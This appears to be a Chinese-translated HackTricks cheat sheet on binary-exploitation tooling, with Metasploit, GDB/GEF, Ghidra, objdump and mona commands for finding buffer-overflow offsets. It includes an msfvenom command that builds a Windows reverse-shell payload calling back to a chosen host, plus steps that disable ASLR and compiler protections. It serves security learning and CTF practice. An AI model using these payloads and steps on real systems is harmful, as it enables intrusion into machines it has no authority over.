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https://github.com/carlospolop/hacktricks
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235 lines
9.9 KiB
Markdown
235 lines
9.9 KiB
Markdown
# 漏洞利用工具
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<details>
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<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>
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支持HackTricks的其他方式：
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* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
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* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
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* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
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* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
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</details>
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## Metasploit
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```
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pattern_create.rb -l 3000 #Length
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pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
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nasm_shell.rb
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nasm> jmp esp #Get opcodes
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msfelfscan -j esi /opt/fusion/bin/level01
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```
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### Shellcodes
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Shellcode是一种用于利用软件漏洞的小型二进制代码。通常用于利用缓冲区溢出漏洞，通过向受影响的程序注入恶意代码来实现攻击。Shellcode通常以十六进制格式编写，目的是执行特定的操作，如提权、执行命令等。
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```
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msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
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```
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## GDB
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### 安装
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```
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apt-get install gdb
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```
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### 参数
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```bash
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-q # No show banner
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-x <file> # Auto-execute GDB instructions from here
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-p <pid> # Attach to process
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```
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### 说明
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```bash
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run # Execute
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start # Start and break in main
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n/next/ni # Execute next instruction (no inside)
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s/step/si # Execute next instruction
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c/continue # Continue until next breakpoint
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p system # Find the address of the system function
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set $eip = 0x12345678 # Change value of $eip
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help # Get help
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quit # exit
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# Disassemble
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disassemble main # Disassemble the function called main
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disassemble 0x12345678 # Disassemble taht address
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set disassembly-flavor intel # Use intel syntax
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set follow-fork-mode child/parent # Follow child/parent process
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# Breakpoints
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br func # Add breakpoint to function
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br *func+23
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br *0x12345678
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del <NUM> # Delete that number of breakpoint
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watch EXPRESSION # Break if the value changes
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# info
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info functions --> Info abount functions
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info functions func --> Info of the funtion
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info registers --> Value of the registers
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bt # Backtrace Stack
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bt full # Detailed stack
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print variable
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print 0x87654321 - 0x12345678 # Caculate
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# x/examine
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examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
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x/o 0xDir_hex
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x/2x $eip # 2Words from EIP
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x/2x $eip -4 # $eip - 4
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x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
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i r eip # Value of $eip
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x/w pointer # Value of the pointer
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x/s pointer # String pointed by the pointer
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x/xw &pointer # Address where the pointer is located
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x/i $eip # Instructions of the EIP
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```
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### [GEF](https://github.com/hugsy/gef)
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```bash
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help memory # Get help on memory command
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canary # Search for canary value in memory
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checksec #Check protections
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p system #Find system function address
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search-pattern "/bin/sh" #Search in the process memory
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vmmap #Get memory mappings
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xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
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memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
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got #Check got table
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memory watch $_got()+0x18 5 #Watch a part of the got table
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# Vulns detection
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format-string-helper #Detect insecure format strings
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heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
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#Patterns
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pattern create 200 #Generate length 200 pattern
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pattern search "avaaawaa" #Search for the offset of that substring
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pattern search $rsp #Search the offset given the content of $rsp
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#Shellcode
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shellcode search x86 #Search shellcodes
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shellcode get 61 #Download shellcode number 61
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#Another way to get the offset of to the RIP
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1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
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2- ef➤ i f
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Stack level 0, frame at 0x7fffffffddd0:
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rip = 0x400cd3; saved rip = 0x6261617762616176
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called by frame at 0x7fffffffddd8
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Arglist at 0x7fffffffdcf8, args:
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Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
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Saved registers:
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rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
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gef➤ pattern search 0x6261617762616176
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[+] Searching for '0x6261617762616176'
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[+] Found at offset 184 (little-endian search) likely
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```
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### 技巧
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#### GDB相同地址
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在调试时，GDB的地址会**与执行时二进制文件使用的地址略有不同**。您可以通过以下步骤使GDB具有相同的地址：
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- `unset env LINES`
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- `unset env COLUMNS`
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- `set env _=<path>` _将二进制文件的绝对路径放在这里_
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- 使用相同的绝对路径利用二进制文件
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- 使用GDB和利用二进制文件时，`PWD`和`OLDPWD`必须相同
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#### 回溯以查找调用的函数
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当您有一个**静态链接的二进制文件**时，所有函数将属于该二进制文件（而不是外部库）。在这种情况下，**识别二进制文件遵循的流程以便例如请求用户输入**将会很困难。\
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您可以通过使用**gdb**运行二进制文件直到要求输入时，停止它并使用**`bt`**（**backtrace**）命令查看调用的函数：
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```
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gef➤ bt
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#0 0x00000000004498ae in ?? ()
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#1 0x0000000000400b90 in ?? ()
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#2 0x0000000000400c1d in ?? ()
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#3 0x00000000004011a9 in ?? ()
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#4 0x0000000000400a5a in ?? ()
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```
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### GDB 服务器
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`gdbserver --multi 0.0.0.0:23947`（在IDA中，您必须填写Linux机器和Windows机器中可执行文件的绝对路径）
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## Ghidra
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### 查找堆栈偏移
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**Ghidra** 对于查找**缓冲区溢出的偏移**非常有用，因为它提供了关于本地变量位置的信息。\
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例如，在下面的示例中，`local_bc` 中的缓冲区溢出表明您需要一个偏移量为 `0xbc`。此外，如果 `local_10` 是一个 canary cookie，则从 `local_bc` 覆盖它需要一个偏移量为 `0xac`。\
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_请记住，保存 RIP 的第一个 0x08 属于 RBP。_
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.png>)
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## GCC
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**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 无保护编译\
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**-o** --> 输出\
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**-g** --> 保存代码（GDB 可以查看）\
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**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> 在Linux中禁用ASLR
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**编译 shellcode:**\
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**nasm -f elf assembly.asm** --> 返回“.o”\
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**ld assembly.o -o shellcodeout** --> 可执行文件
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## Objdump
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**-d** --> 反汇编可执行文件的**部分**（查看编译后的 shellcode 的操作码，查找 ROP Gadgets，查找函数地址...）\
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**-Mintel** --> **Intel** 语法\
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**-t** --> **符号**表\
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**-D** --> **反汇编所有**（静态变量的地址）\
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**-s -j .dtors** --> dtors 部分\
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**-s -j .got** --> got 部分\
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\-D -s -j .plt --> **plt** 部分 **反编译**\
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**ojdump -t --dynamic-relo ./exec | grep puts** --> 要在 GOT 中修改的 "puts" 地址\
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**objdump -D ./exec | grep "VAR\_NAME"** --> 静态变量的地址（这些存储在 DATA 部分）。
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## Core dumps
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1. 在启动程序之前运行 `ulimit -c unlimited`
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2. 运行 `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
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3. `sudo gdb --core=\<path/core> --quiet`
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## 更多
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**ldd executable | grep libc.so.6** --> 地址（如果启用 ASLR，则每次都会更改）\
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**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> 循环查看地址是否经常更改\
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**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" 的偏移\
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**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" 的偏移
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**strace executable** --> 可执行文件调用的函数\
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**rabin2 -i ejecutable -->** 所有函数的地址
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## **Inmunity debugger**
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```bash
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!mona modules #Get protections, look for all false except last one (Dll of SO)
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!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
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```
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## IDA
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### 在远程 Linux 中进行调试
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在 IDA 文件夹中，您可以找到可用于在 Linux 中调试二进制文件的二进制文件。要这样做，请将 _linux\_server_ 或 _linux\_server64_ 二进制文件移动到 Linux 服务器中，并在包含该二进制文件的文件夹中运行它：
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```
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./linux_server64 -Ppass
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```
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然后，配置调试器：调试器（linux 远程）--> 进程选项...:
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.png>)
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<details>
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<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>
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支持 HackTricks 的其他方式：
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* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
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* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
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* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。
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* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
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</details>
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